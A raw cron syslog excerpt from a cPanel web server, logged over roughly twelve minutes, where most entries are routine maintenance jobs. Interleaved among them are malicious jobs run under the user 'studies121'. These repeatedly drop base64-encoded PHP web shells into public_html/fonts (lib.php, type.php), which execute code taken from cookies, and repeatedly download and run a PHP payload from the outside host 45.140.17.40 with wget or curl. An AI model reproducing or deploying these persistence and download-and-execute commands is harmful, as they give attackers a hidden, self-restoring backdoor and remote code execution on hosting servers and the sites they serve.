Feb 22 14:05:01 ip-184-168-122-23 CROND[11056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11061]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11064]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:06:01 ip-184-168-122-23 CROND[11398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:06:01 ip-184-168-122-23 CROND[11400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:06:01 ip-184-168-122-23 CROND[11401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:06:01 ip-184-168-122-23 CROND[11404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:06:01 ip-184-168-122-23 CROND[11403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:07:01 ip-184-168-122-23 CROND[11750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:07:01 ip-184-168-122-23 CROND[11751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:07:01 ip-184-168-122-23 CROND[11753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:07:01 ip-184-168-122-23 CROND[11758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:08:01 ip-184-168-122-23 CROND[12068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:08:01 ip-184-168-122-23 CROND[12070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:08:01 ip-184-168-122-23 CROND[12072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:08:01 ip-184-168-122-23 CROND[12075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:08:01 ip-184-168-122-23 CROND[12071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:09:01 ip-184-168-122-23 CROND[12376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:09:01 ip-184-168-122-23 CROND[12380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:09:01 ip-184-168-122-23 CROND[12383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:09:01 ip-184-168-122-23 CROND[12385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:09:01 ip-184-168-122-23 CROND[12387]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:10:01 ip-184-168-122-23 CROND[12717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:10:01 ip-184-168-122-23 CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:10:01 ip-184-168-122-23 CROND[12726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:11:01 ip-184-168-122-23 CROND[13150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:11:01 ip-184-168-122-23 CROND[13153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:11:01 ip-184-168-122-23 CROND[13152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:11:01 ip-184-168-122-23 CROND[13154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:12:01 ip-184-168-122-23 CROND[13462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:12:01 ip-184-168-122-23 CROND[13464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:12:01 ip-184-168-122-23 CROND[13465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:12:01 ip-184-168-122-23 CROND[13466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:12:01 ip-184-168-122-23 CROND[13467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:13:01 ip-184-168-122-23 CROND[13782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:13:01 ip-184-168-122-23 CROND[13784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:13:01 ip-184-168-122-23 CROND[13785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:13:01 ip-184-168-122-23 CROND[13786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:14:01 ip-184-168-122-23 CROND[14106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:14:01 ip-184-168-122-23 CROND[14108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:14:01 ip-184-168-122-23 CROND[14110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:14:01 ip-184-168-122-23 CROND[14109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:14:01 ip-184-168-122-23 CROND[14111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:15:01 ip-184-168-122-23 CROND[14776]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:15:01 ip-184-168-122-23 CROND[14785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:16:01 ip-184-168-122-23 CROND[15378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:16:01 ip-184-168-122-23 CROND[15380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:16:01 ip-184-168-122-23 CROND[15382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:16:01 ip-184-168-122-23 CROND[15385]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 14:16:01 ip-184-168-122-23 CROND[15381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:16:01 ip-184-168-122-23 CROND[15383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:17:01 ip-184-168-122-23 CROND[15706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
